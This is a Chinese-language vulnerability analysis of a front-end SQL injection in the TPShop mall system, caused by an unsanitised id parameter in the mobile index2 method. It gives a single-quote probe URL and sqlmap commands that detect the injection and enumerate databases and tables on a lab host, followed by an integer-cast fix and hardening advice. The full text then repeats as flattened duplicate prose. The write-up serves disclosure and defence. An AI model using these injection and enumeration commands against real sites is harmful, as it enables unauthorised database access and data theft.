某Shop前台SQL注入
字数 730 2025-08-26 22:11:28

TPShop前台SQL注入漏洞分析与复现

0x01 漏洞概述

TPShop(ThinkPHP shop)是由深圳搜豹网络有限公司开发的一套多商家模式的商城系统,支持PC、IOS客户端、Android客户端和微商城。该系统基于ThinkPHP MVC架构开发,具有模块化架构体系和丰富的功能。

本漏洞存在于TPShop的前台部分,由于对用户输入参数未进行充分过滤,导致SQL注入漏洞的产生。

0x02 漏洞定位

漏洞位于文件路径:/Application/mobile/Controller/Index.php中的index2方法

关键代码分析:

66 Line: 获取用户从get输入的参数id的值并赋值给$id
67 Line: 获取用户从get输入的参数role的值并赋值给$role
69 Line: 判断$role是否为真
70 Line: $id拼接到where语句中
73 Line: 判断$id是否为真
75 Line: $id拼接到where语句中

0x03 漏洞原理

  1. 系统通过I('get.id')获取用户输入的id参数
  2. 该参数未经充分过滤直接拼接到SQL查询的WHERE子句中
  3. 攻击者可以通过构造恶意的id参数实现SQL注入

0x04 漏洞验证

基础验证

http://localhost:8084/mobile/index/index2/id/1
http://localhost:8084/mobile/index/index2/id/1'

当输入单引号时,如果系统返回SQL错误,则证明存在SQL注入漏洞。

使用sqlmap自动化验证

  1. 检测漏洞是否存在:
sqlmap -u "http://172.16.209.129:8084/mobile/index/index2/id/1*" --random-agent --batch --dbms "mysql"
  1. 获取当前数据库:
sqlmap -u "http://172.16.209.129:8084/mobile/index/index2/id/1*" --random-agent --batch --dbms "mysql" --current-db
  1. 获取指定数据库的表:
sqlmap -u "http://172.16.209.129:8084/mobile/index/index2/id/1*" --random-agent --batch --dbms "mysql" -D tpshop3.0 --tables

0x05 漏洞修复方案

I('get.id')改为I('get.id/d'),其中/d表示强制转换为整数类型,可以有效防止SQL注入。

修复代码示例:

$id = I('get.id/d');  // 强制转换为整数

0x06 安全建议

  1. 对所有用户输入进行严格的类型检查和过滤
  2. 使用参数化查询或预处理语句
  3. 遵循最小权限原则,数据库连接使用低权限账户
  4. 定期进行安全审计和代码审查
  5. 及时更新系统和框架到最新版本

0x07 总结

该漏洞是典型的SQL注入漏洞,由于未对用户输入进行充分过滤导致。开发人员应提高安全意识,对所有用户输入进行严格验证,避免直接将用户输入拼接到SQL语句中。

TPShop前台SQL注入漏洞分析与复现 0x01 漏洞概述 TPShop(ThinkPHP shop)是由深圳搜豹网络有限公司开发的一套多商家模式的商城系统,支持PC、IOS客户端、Android客户端和微商城。该系统基于ThinkPHP MVC架构开发,具有模块化架构体系和丰富的功能。 本漏洞存在于TPShop的前台部分,由于对用户输入参数未进行充分过滤,导致SQL注入漏洞的产生。 0x02 漏洞定位 漏洞位于文件路径: /Application/mobile/Controller/Index.php 中的 index2 方法 关键代码分析: 0x03 漏洞原理 系统通过 I('get.id') 获取用户输入的 id 参数 该参数未经充分过滤直接拼接到SQL查询的WHERE子句中 攻击者可以通过构造恶意的 id 参数实现SQL注入 0x04 漏洞验证 基础验证 当输入单引号时,如果系统返回SQL错误,则证明存在SQL注入漏洞。 使用sqlmap自动化验证 检测漏洞是否存在: 获取当前数据库: 获取指定数据库的表: 0x05 漏洞修复方案 将 I('get.id') 改为 I('get.id/d') ,其中 /d 表示强制转换为整数类型,可以有效防止SQL注入。 修复代码示例: 0x06 安全建议 对所有用户输入进行严格的类型检查和过滤 使用参数化查询或预处理语句 遵循最小权限原则,数据库连接使用低权限账户 定期进行安全审计和代码审查 及时更新系统和框架到最新版本 0x07 总结 该漏洞是典型的SQL注入漏洞,由于未对用户输入进行充分过滤导致。开发人员应提高安全意识,对所有用户输入进行严格验证,避免直接将用户输入拼接到SQL语句中。